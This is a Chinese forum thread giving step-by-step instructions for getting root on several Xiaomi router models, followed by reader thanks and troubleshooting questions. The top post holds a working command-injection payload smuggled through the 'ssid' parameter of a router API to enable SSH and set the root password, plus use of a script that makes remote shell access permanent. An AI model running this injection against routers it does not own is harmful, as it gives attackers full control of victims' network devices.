小米ax3600/ax6000/ax9000/ax5/ax6获取root权限【简单快速】【修复丢ssid】

pal***

更新工具检测是否是特殊版
修复固件读取不了ssid的问题
修复极个别机器crc错误
添加型号显示
更新armv7和armv8支持

首先固件版本需要降级到AX3600 1.0.17
固件下载地址
链接: https://pan.baidu.com/s/15QsNvM9qwgTVtk8zF843eA 提取码: 8rcu

升级后安装正常设置流程设置一遍，最后登录后地址是

1. http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/web/home#router

复制代码

注意这个`<STOK>`就是接下来要使用的，大小写敏感，直接复制不要手敲

1. http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20nvram%20set%20ssh_en%3D1%3B%20nvram%20commit%3B%20sed%20-i%20's%2Fchannel%3D.*%2Fchannel%3D%5C%22debug%5C%22%2Fg'%20%2Fetc%2Finit.d%2Fdropbear%3B%20%2Fetc%2Finit.d%2Fdropbear%20start%3B

复制代码

把`<STOK>`替换成你的，回车后显示`{"code":0}`就说明成功了，接下来为了升级算密码的麻烦直接改掉root密码

1. http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20echo%20-e%20'admin%5Cnadmin'%20%7C%20passwd%20root%3B

复制代码

把`<STOK>`替换成你的，回车后显示`{"code":0}`就说明成功了，这样root的密码就是admin了
直接ssh登录就能见到are u ok
如果想改成其他密码

1. passwd root

复制代码

接下来输入两次密码，然后重新登录就ok了
但这样并不能保证升级后ssh还能登录
下面继续

1. nanddump -f /tmp/bdata_mtd9.img /dev/mtd9

复制代码

然后用winscp下载到桌面备份好（以防万一），接下来把网盘下载的mitool.zip解压出的3个文件上传到路由`/tmp`目录里
然后

1. chmod +x /data/mitool*

复制代码

在然后

1. /data/mitool.sh unlock

复制代码

机器会自动重启，重启后继续

1. /data/mitool.sh hack

复制代码

会自动设置永久ssh、telnet、uart权限并自动重启，同时会计算出默认的root密码，注意记录密码，恢复出厂后telnet和ssh需要用
重启后即使恢复出厂ssid也能正常了

随时查看默认密码

1. /data/mitool.sh password

复制代码

如升级后ssh被禁用可以用telnet登录，执行下面代码再次启用ssh

1. sed -i 's/channel=.*/channel="debug"/g' /etc/init.d/dropbear
   
2. /etc/init.d/dropbear start

复制代码

至此基本可以保证机器长期拥有root权限

源代码

https://github.com/paldier/ax3600_tool

Map***

感谢分享！！

walki***

说明非常详细，感谢

walki***

说明非常详细，感谢

小罗***

请问到底是在tmp下还是在data下执行啊？传上去的的文件是让传到tmp，但是执行命令又让在data，data都没有上传任何文件。

fat0***

1. /data/mitool.sh unlock

复制代码

机器会自动重启，重启后继续
但是这命令执行后 路由器 没重启 该怎么处理？手动重启 还是继续执行后面的命令？

kiss***

红米AX6000适用吗

liu***

感谢分享！

li***

感谢分享的了。

平凡***

感谢楼主分享！过来学习学习

webhapp***

ligeek 发表于 2020-8-8 19:58
这样操作后 ssh 获取到了   wifi 凉了

我也遇到此类问题

ChenM***

1756340972 发表于 2021-11-23 21:50
使用这个恢复命令前你要让这个文件具备可读写
所以要把文件传到tmp然后使用chmod +x /tmp/bdata_mtd9.im ...

这个是bdata不可写
应该是执行mitool.sh unlock吧
你给img文件执行权限没用

lin***

非常有用，感谢分享

lin***

非常有用，感谢分享

chenx***

感谢楼主分享~！